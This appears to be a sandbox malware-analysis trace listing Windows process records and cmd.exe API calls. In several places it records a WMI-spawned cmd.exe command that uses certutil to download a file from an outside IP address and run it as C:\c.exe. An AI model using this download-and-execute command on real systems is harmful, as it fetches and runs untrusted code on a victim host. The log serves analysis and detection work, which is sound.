os_tid = 0x1910 Thread: id = 1143 os_tid = 0x1920 Process: id = "13" image_name = "wmiprvse.exe" filename = "c:\\windows\\system32\\wbem\\wmiprvse.exe" page_root = "0x4a603000" os_pid = "0xbc4" os_integrity_level = "0x4000" os_privileges = "0x60800000" monitor_reason = "rpc_server" parent_id = "12" os_parent_pid = "0x250" cmd_line = "C:\\Windows\\system32\\wbem\\wmiprvse.exe -secured -Embedding" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Network Service" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "WMI (Network Service)" [0xf], "NT AUTHORITY\\Logon Session 00000000:00059f8b" [0xc000000f] Thread: id = 601 os_tid = 0xbe8 Thread: id = 602 os_tid = 0xbe4 Thread: id = 603 os_tid = 0xbe0 Thread: id = 604 os_tid = 0xbdc Thread: id = 605 os_tid = 0xbd8 Thread: id = 606 os_tid = 0xbd4 Thread: id = 607 os_tid = 0xbd0 Thread: id = 608 os_tid = 0xbcc Thread: id = 609 os_tid = 0xbc8 Thread: id = 623 os_tid = 0x1268 Thread: id = 1149 os_tid = 0x1958 Process: id = "14" image_name = "wmiprvse.exe" filename = "c:\\windows\\system32\\wbem\\wmiprvse.exe" page_root = "0x4bafe000" os_pid = "0xb8c" os_integrity_level = "0x4000" os_privileges = "0xe60b1e990" monitor_reason = "rpc_server" parent_id = "12" os_parent_pid = "0x250" cmd_line = "C:\\Windows\\system32\\wbem\\wmiprvse.exe -Embedding" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BDESVC" [0xa], "NT SERVICE\\BITS" [0xa], "NT SERVICE\\CertPropSvc" [0xa], "NT SERVICE\\EapHost" [0xa], "NT SERVICE\\hkmsvc" [0xa], "NT SERVICE\\IKEEXT" [0xa], "NT SERVICE\\iphlpsvc" [0xe], "NT SERVICE\\LanmanServer" [0xe], "NT SERVICE\\MMCSS" [0xe], "NT SERVICE\\MSiSCSI" [0xa], "NT SERVICE\\RasAuto" [0xa], "NT SERVICE\\RasMan" [0xa], "NT SERVICE\\RemoteAccess" [0xa], "NT SERVICE\\Schedule" [0xe], "NT SERVICE\\SCPolicySvc" [0xa], "NT SERVICE\\SENS" [0xe], "NT SERVICE\\SessionEnv" [0xa], "NT SERVICE\\SharedAccess" [0xa], "NT SERVICE\\ShellHWDetection" [0xe], "NT SERVICE\\wercplsupport" [0xa], "NT SERVICE\\Winmgmt" [0xe], "NT SERVICE\\wuauserv" [0xe], "NT AUTHORITY\\Logon Session 00000000:0000cc7d" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 610 os_tid = 0xbac Thread: id = 611 os_tid = 0xba8 Thread: id = 612 os_tid = 0xba4 Thread: id = 613 os_tid = 0xba0 Thread: id = 614 os_tid = 0xb9c Thread: id = 615 os_tid = 0xb98 Thread: id = 616 os_tid = 0xb94 Thread: id = 617 os_tid = 0xb90 Thread: id = 786 os_tid = 0x108c Thread: id = 1148 os_tid = 0x1954 Process: id = "15" image_name = "cmd.exe" filename = "c:\\windows\\system32\\cmd.exe" page_root = "0x2d798000" os_pid = "0x126c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "13" os_parent_pid = "0xbc4" cmd_line = "cmd.exe /c certutil.exe -urlcache -split -f http://58.221.158.90:88/car/down.txt C:/c.exe&C:\\c.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 624 os_tid = 0x1270 [0102.822] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1cf9b0 | out: lpSystemTimeAsFileTime=0x1cf9b0*(dwLowDateTime=0x92d47620, dwHighDateTime=0x1d5ca1f)) [0102.822] GetCurrentProcessId () returned 0x126c [0102.822] GetCurrentThreadId () returned 0x1270 [0102.822] GetTickCount () returned 0x11620f9 [0102.822] QueryPerformanceCounter (in: lpPerformanceCount=0x1cf9b8 | out: lpPerformanceCount=0x1cf9b8*=24393212607) returned 1 [0102.823] GetModuleHandleW (lpModuleName=0x0) returned 0x4ab50000 [0102.823] __set_app_type (_Type=0x1) [0102.823] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4ab77810) returned 0x0 [0102.824] __getmainargs (in: _Argc=0x4ab9a608, _Argv=0x4ab9a618, _Env=0x4ab9a610, _DoWildCard=0, _StartInfo=0x4ab7e0f4 | out: _Argc=0x4ab9a608, _Argv=0x4ab9a618, _Env=0x4ab9a610) returned 0 [0102.824] GetCurrentThreadId () returned 0x1270 [0102.824] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0x1270) returned 0x3c [0102.827] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76f20000 [0102.827] GetProcAddress (hModule=0x76f20000, lpProcName="SetThreadUILanguage") returned 0x76f36d40 [0102.827] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0102.828] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0102.828] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x1cf948 | out: phkResult=0x1cf948*=0x0) returned 0x2 [0102.828] VirtualQuery (in: lpAddress=0x1cf930, lpBuffer=0x1cf8b0, dwLength=0x30 | out: lpBuffer=0x1cf8b0*(BaseAddress=0x1cf000, AllocationBase=0xd0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0102.828] VirtualQuery (in: lpAddress=0xd0000, lpBuffer=0x1cf8b0, dwLength=0x30 | out: lpBuffer=0x1cf8b0*(BaseAddress=0xd0000, AllocationBase=0xd0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30 [0102.828] VirtualQuery (in: lpAddress=0xd1000, lpBuffer=0x1cf8b0, dwLength=0x30 | out: lpBuffer=0x1cf8b0*(BaseAddress=0xd1000, AllocationBase=0xd0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x3000, State=0x1000, Protect=0x104, Type=0x20000, __alignment2=0x0)) returned 0x30 [0102.828] VirtualQuery (in: lpAddress=0xd4000, lpBuffer=0x1cf8b0, dwLength=0x30 | out: lpBuffer=0x1cf8b0*(BaseAddress=0xd4000, AllocationBase=0xd0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0xfc000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0102.828] VirtualQuery (in: lpAddress=0x1d0000, lpBuffer=0x1cf8b0, dwLength=0x30 | out: lpBuffer=0x1cf8b0*(BaseAddress=0x1d0000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x2000, State=0x1000, Protect=0x4, Type=0x40000, __alignment2=0x0)) returned 0x30 [0102.828] GetConsoleOutputCP () returned 0x1b5 [0102.828] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4ab8bfe0 | out: lpCPInfo=0x4ab8bfe0) returned 1 [0102.828] SetConsoleCtrlHandler (HandlerRoutine=0x4ab73184, Add=1) returned 1 [0102.828] _get_osfhandle (_FileHandle=1) returned 0x7 [0102.828] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x0) returned 1 [0102.829] _get_osfhandle (_FileHandle=1) returned 0x7 [0102.829] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4ab7e194 | out: lpMode=0x4ab7e194) returned 1 [0102.829] _get_osfhandle (_FileHandle=1) returned 0x7 [0102.829] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0102.829] _get_osfhandle (_FileHandle=0) returned 0x3 [0102.829] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4ab7e198 | out: lpMode=0x4ab7e198) returned 1 [0102.829] _get_osfhandle (_FileHandle=0) returned 0x3 [0102.829] SetConsoleMode (hConsoleHandle=0x3, dwMode=0x1a7) returned 1 [0102.830] GetEnvironmentStringsW () returned 0x3c8b00* [0102.830] GetProcessHeap () returned 0x3b0000 [0102.830] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0xa7c) returned 0x3c9590 [0102.830] FreeEnvironmentStringsW (penv=0x3c8b00) returned 1 [0102.830] GetProcessHeap () returned 0x3b0000 [0102.830] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x8) returned 0x3c8980 [0102.830] GetEnvironmentStringsW () returned 0x3c8b00* [0102.830] GetProcessHeap () returned 0x3b0000 [0102.830] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0xa7c) returned 0x3ca020 [0102.830] FreeEnvironmentStringsW (penv=0x3c8b00) returned 1 [0102.830] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x1ce808 | out: phkResult=0x1ce808*=0x44) returned 0x0 [0102.830] RegQueryValueExW (in: hKey=0x44, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x1ce800, lpData=0x1ce820, lpcbData=0x1ce804*=0x1000 | out: lpType=0x1ce800*=0x0, lpData=0x1ce820*=0x18, lpcbData=0x1ce804*=0x1000) returned 0x2 [0102.830] RegQueryValueExW (in: hKey=0x44, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x1ce800, lpData=0x1ce820, lpcbData=0x1ce804*=0x1000 | out: lpType=0x1ce800*=0x4, lpData=0x1ce820*=0x1, lpcbData=0x1ce804*=0x4) returned 0x0 [0102.830] RegQueryValueExW (in: hKey=0x44, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x1ce800, lpData=0x1ce820, lpcbData=0x1ce804*=0x1000 | out: lpType=0x1ce800*=0x0, lpData=0x1ce820*=0x1, lpcbData=0x1ce804*=0x1000) returned 0x2 [0102.830] RegQueryValueExW (in: hKey=0x44, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x1ce800, lpData=0x1ce820, lpcbData=0x1ce804*=0x1000 | out: lpType=0x1ce800*=0x4, lpData=0x1ce820*=0x0, lpcbData=0x1ce804*=0x4) returned 0x0 [0102.830] RegQueryValueExW (in: hKey=0x44, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x1ce800, lpData=0x1ce820, lpcbData=0x1ce804*=0x1000 | out: lpType=0x1ce800*=0x4, lpData=0x1ce820*=0x40, lpcbData=0x1ce804*=0x4) returned 0x0 [0102.830] RegQueryValueExW (in: hKey=0x44, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x1ce800, lpData=0x1ce820, lpcbData=0x1ce804*=0x1000 | out: lpType=0x1ce800*=0x4, lpData=0x1ce820*=0x40, lpcbData=0x1ce804*=0x4) returned 0x0 [0102.830] RegQueryValueExW (in: hKey=0x44, lpValueName="AutoRun", lpReserved=0x0, lpType=0x1ce800, lpData=0x1ce820, lpcbData=0x1ce804*=0x1000 | out: lpType=0x1ce800*=0x0, lpData=0x1ce820*=0x40, lpcbData=0x1ce804*=0x1000) returned 0x2 [0102.831] RegCloseKey (hKey=0x44) returned 0x0 [0102.831] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x1ce808 | out: phkResult=0x1ce808*=0x44) returned 0x0 [0102.831] RegQueryValueExW (in: hKey=0x44, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x1ce800, lpData=0x1ce820, lpcbData=0x1ce804*=0x1000 | out: lpType=0x1ce800*=0x0, lpData=0x1ce820*=0x40, lpcbData=0x1ce804*=0x1000) returned 0x2 [0102.831] RegQueryValueExW (in: hKey=0x44, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x1ce800, lpData=0x1ce820, lpcbData=0x1ce804*=0x1000 | out: lpType=0x1ce800*=0x4, lpData=0x1ce820*=0x1, lpcbData=0x1ce804*=0x4) returned 0x0 [0102.831] RegQueryValueExW (in: hKey=0x44, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x1ce800, lpData=0x1ce820, lpcbData=0x1ce804*=0x1000 | out: lpType=0x1ce800*=0x0, lpData=0x1ce820*=0x1, lpcbData=0x1ce804*=0x1000) returned 0x2 [0102.831] RegQueryValueExW (in: hKey=0x44, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x1ce800, lpData=0x1ce820, lpcbData=0x1ce804*=0x1000 | out: lpType=0x1ce800*=0x4, lpData=0x1ce820*=0x0, lpcbData=0x1ce804*=0x4) returned 0x0 [0102.831] RegQueryValueExW (in: hKey=0x44, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x1ce800, lpData=0x1ce820, lpcbData=0x1ce804*=0x1000 | out: lpType=0x1ce800*=0x4, lpData=0x1ce820*=0x9, lpcbData=0x1ce804*=0x4) returned 0x0 [0102.831] RegQueryValueExW (in: hKey=0x44, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x1ce800, lpData=0x1ce820, lpcbData=0x1ce804*=0x1000 | out: lpType=0x1ce800*=0x4, lpData=0x1ce820*=0x9, lpcbData=0x1ce804*=0x4) returned 0x0 [0102.831] RegQueryValueExW (in: hKey=0x44, lpValueName="AutoRun", lpReserved=0x0, lpType=0x1ce800, lpData=0x1ce820, lpcbData=0x1ce804*=0x1000 | out: lpType=0x1ce800*=0x0, lpData=0x1ce820*=0x9, lpcbData=0x1ce804*=0x1000) returned 0x2 [0102.831] RegCloseKey (hKey=0x44) returned 0x0 [0102.831] time (in: timer=0x0 | out: timer=0x0) returned 0x5e1c81a7 [0102.831] srand (_Seed=0x5e1c81a7) [0102.831] GetCommandLineW () returned="cmd.exe /c certutil.exe -urlcache -split -f http://58.221.158.90:88/car/down.txt C:/c.exe&C:\\c.exe" [0102.831] GetCommandLineW () returned="cmd.exe /c certutil.exe -urlcache -split -f http://58.221.158.90:88/car/down.txt C:/c.exe&C:\\c.exe" [0102.831] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4ab8c0a0 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0102.831] GetProcessHeap () returned 0x3b0000 [0102.831] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x218) returned 0x3caab0 [0102.831] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x3caac0, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe")) returned 0x1b [0102.832] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4ab7f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0102.832] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4ab7f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0102.832] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4ab7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0102.832] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13 [0102.832] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11 [0102.832] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13 [0102.832] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13 [0102.832] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12 [0102.832] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4 [0102.832] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2 [0102.832] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8 [0102.832] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1 [0102.832] GetProcessHeap () returned 0x3b0000 [0102.832] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c9590 | out: hHeap=0x3b0000) returned 1 [0102.832] GetEnvironmentStringsW () returned 0x3c8b00* [0102.832] GetProcessHeap () returned 0x3b0000 [0102.832] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0xa94) returned 0x3cb770 [0102.832] FreeEnvironmentStringsW (penv=0x3c8b00) returned 1 [0102.832] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x4ab7f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0102.832] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x4ab7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0102.832] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0102.832] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0102.832] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0102.832] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0102.832] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0102.833] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0102.833] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0102.833] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0102.833] GetProcessHeap () returned 0x3b0000 [0102.833] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x38) returned 0x3c6520 [0102.833] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x1cf610 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0102.833] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x104, lpBuffer=0x1cf610, lpFilePart=0x1cf5f0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x1cf5f0*="system32") returned 0x13 [0102.833] GetFileAttributesW (lpFileName="C:\\Windows\\system32" (normalized: "c:\\windows\\system32")) returned 0x10 [0102.833] FindFirstFileW (in: lpFileName="C:\\Windows", lpFindFileData=0x1cf320 | out: lpFindFileData=0x1cf320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2fb4a840, ftLastAccessTime.dwHighDateTime=0x1d4d57d, ftLastWriteTime.dwLowDateTime=0x2fb4a840, ftLastWriteTime.dwHighDateTime=0x1d4d57d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xdc0000dc, cFileName="Windows", cAlternateFileName="")) returned 0x3b1320 [0102.833] FindClose (in: hFindFile=0x3b1320 | out: hFindFile=0x3b1320) returned 1 [0102.833] FindFirstFileW (in: lpFileName="C:\\Windows\\system32", lpFindFileData=0x1cf320 | out: lpFindFileData=0x1cf320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfec9a6f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xefd85d60, ftLastAccessTime.dwHighDateTime=0x1d4d596, ftLastWriteTime.dwLowDateTime=0xefd85d60, ftLastWriteTime.dwHighDateTime=0x1d4d596, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xdc0000dc, cFileName="System32", cAlternateFileName="")) returned 0x3b1320 [0102.833] FindClose (in: hFindFile=0x3b1320 | out: hFindFile=0x3b1320) returned 1 [0102.833] GetFileAttributesW (lpFileName="C:\\Windows\\System32" (normalized: "c:\\windows\\system32")) returned 0x10 [0102.833] SetCurrentDirectoryW (lpPathName="C:\\Windows\\System32" (normalized: "c:\\windows\\system32")) returned 1 [0102.833] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Windows\\System32") returned 1 [0102.833] GetProcessHeap () returned 0x3b0000 [0102.833] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cb770 | out: hHeap=0x3b0000) returned 1 [0102.833] GetEnvironmentStringsW () returned 0x3c8b00* [0102.834] GetProcessHeap () returned 0x3b0000 [0102.834] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0xac4) returned 0x3cacd0 [0102.834] FreeEnvironmentStringsW (penv=0x3c8b00) returned 1 [0102.834] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4ab8c0a0 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0102.834] GetProcessHeap () returned 0x3b0000 [0102.834] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c6520 | out: hHeap=0x3b0000) returned 1 [0102.834] GetProcessHeap () returned 0x3b0000 [0102.834] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x4016) returned 0x3ccce0 [0102.834] GetProcessHeap () returned 0x3b0000 [0102.834] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0xc4) returned 0x3cb7a0 [0102.834] GetProcessHeap () returned 0x3b0000 [0102.834] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3ccce0 | out: hHeap=0x3b0000) returned 1 [0102.834] GetConsoleOutputCP () returned 0x1b5 [0102.834] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4ab8bfe0 | out: lpCPInfo=0x4ab8bfe0) returned 1 [0102.834] GetUserDefaultLCID () returned 0x409 [0102.835] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x4ab87b50, cchData=8 | out: lpLCData=":") returned 2 [0102.835] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x1cf720, cchData=128 | out: lpLCData="0") returned 2 [0102.835] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x1cf720, cchData=128 | out: lpLCData="0") returned 2 [0102.835] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x1cf720, cchData=128 | out: lpLCData="1") returned 2 [0102.835] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x4ab9a740, cchData=8 | out: lpLCData="/") returned 2 [0102.835] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x4ab9a4a0, cchData=32 | out: lpLCData="Mon") returned 4 [0102.835] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x4ab9a460, cchData=32 | out: lpLCData="Tue") returned 4 [0102.835] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x4ab9a420, cchData=32 | out: lpLCData="Wed") returned 4 [0102.835] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x4ab9a3e0, cchData=32 | out: lpLCData="Thu") returned 4 [0102.835] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x4ab9a3a0, cchData=32 | out: lpLCData="Fri") returned 4 [0102.835] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x4ab9a360, cchData=32 | out: lpLCData="Sat") returned 4 [0102.835] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x4ab9a700, cchData=32 | out: lpLCData="Sun") returned 4 [0102.835] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x4ab87b40, cchData=8 | out: lpLCData=".") returned 2 [0102.835] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x4ab9a4e0, cchData=8 | out: lpLCData=",") returned 2 [0102.836] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0102.836] GetProcessHeap () returned 0x3b0000 [0102.836] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x20c) returned 0x3cb8e0 [0102.836] GetConsoleTitleW (in: lpConsoleTitle=0x3cb8e0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0102.836] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76f20000 [0102.837] GetProcAddress (hModule=0x76f20000, lpProcName="CopyFileExW") returned 0x76f323d0 [0102.837] GetProcAddress (hModule=0x76f20000, lpProcName="IsDebuggerPresent") returned 0x76f28290 [0102.837] GetProcAddress (hModule=0x76f20000, lpProcName="SetConsoleInputExeNameW") returned 0x76f317e0 [0102.837] GetProcessHeap () returned 0x3b0000 [0102.837] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x4012) returned 0x3ccce0 [0102.837] GetProcessHeap () returned 0x3b0000 [0102.837] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3ccce0 | out: hHeap=0x3b0000) returned 1 [0102.838] _wcsicmp (_String1="certutil.exe", _String2=")") returned 58 [0102.838] _wcsicmp (_String1="FOR", _String2="certutil.exe") returned 3 [0102.838] _wcsicmp (_String1="FOR/?", _String2="certutil.exe") returned 3 [0102.838] _wcsicmp (_String1="IF", _String2="certutil.exe") returned 6 [0102.838] _wcsicmp (_String1="IF/?", _String2="certutil.exe") returned 6 [0102.838] _wcsicmp (_String1="REM", _String2="certutil.exe") returned 15 [0102.838] _wcsicmp (_String1="REM/?", _String2="certutil.exe") returned 15 [0102.838] GetProcessHeap () returned 0x3b0000 [0102.838] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0xb0) returned 0x3cbb00 [0102.838] GetProcessHeap () returned 0x3b0000 [0102.838] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x2a) returned 0x3c6520 [0102.840] GetProcessHeap () returned 0x3b0000 [0102.840] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x96) returned 0x3cbbc0 [0102.840] GetProcessHeap () returned 0x3b0000 [0102.840] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0xb0) returned 0x3cbc60 [0102.841] _wcsicmp (_String1="C:\\c.exe", _String2=")") returned 58 [0102.841] _wcsicmp (_String1="FOR", _String2="C:\\c.exe") returned 3 [0102.841] _wcsicmp (_String1="FOR/?", _String2="C:\\c.exe") returned 3 [0102.841] _wcsicmp (_String1="IF", _String2="C:\\c.exe") returned 6 [0102.841] _wcsicmp (_String1="IF/?", _String2="C:\\c.exe") returned 6 [0102.841] _wcsicmp (_String1="REM", _String2="C:\\c.exe") returned 15 [0102.841] _wcsicmp (_String1="REM/?", _String2="C:\\c.exe") returned 15 [0102.841] GetProcessHeap () returned 0x3b0000 [0102.841] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0xb0) returned 0x3cbd20 [0102.841] GetProcessHeap () returned 0x3b0000 [0102.841] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x22) returned 0x3c4620 [0102.842] GetConsoleTitleW (in: lpConsoleTitle=0x1cf570, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0102.842] GetFileAttributesW (lpFileName="certutil.exe" (normalized: "c:\\windows\\system32\\certutil.exe")) returned 0x20 [0102.843] _wcsicmp (_String1="certutil.exe", _String2="DIR") returned -1 [0102.843] _wcsicmp (_String1="certutil.exe", _String2="ERASE") returned -2 [0102.843] _wcsicmp (_String1="certutil.exe", _String2="DEL") returned -1 [0102.843] _wcsicmp (_String1="certutil.exe", _String2="TYPE") returned -17 [0102.843] _wcsicmp (_String1="certutil.exe", _String2="COPY") returned -10 [0102.843] _wcsicmp (_String1="certutil.exe", _String2="CD") returned 1 [0102.843] _wcsicmp (_String1="certutil.exe", _String2="CHDIR") returned -3 [0102.843] _wcsicmp (_String1="certutil.exe", _String2="RENAME") returned -15 [0102.843] _wcsicmp (_String1="certutil.exe", _String2="REN") returned -15 [0102.843] _wcsicmp (_String1="certutil.exe", _String2="ECHO") returned -2 [0102.843] _wcsicmp (_String1="certutil.exe", _String2="SET") returned -16 [0102.844] _wcsicmp (_String1="certutil.exe", _String2="PAUSE") returned -13 [0102.844] _wcsicmp (_String1="certutil.exe", _String2="DATE") returned -1 [0102.844] _wcsicmp (_String1="certutil.exe", _String2="TIME") returned -17 [0102.844] _wcsicmp (_String1="certutil.exe", _String2="PROMPT") returned -13 [0102.844] _wcsicmp (_String1="certutil.exe", _String2="MD") returned -10 [0102.844] _wcsicmp (_String1="certutil.exe", _String2="MKDIR") returned -10 [0102.844] _wcsicmp (_String1="certutil.exe", _String2="RD") returned -15 [0102.844] _wcsicmp (_String1="certutil.exe", _String2="RMDIR") returned -15 [0102.844] _wcsicmp (_String1="certutil.exe", _String2="PATH") returned -13 [0102.844] _wcsicmp (_String1="certutil.exe", _String2="GOTO") returned -4 [0102.844] 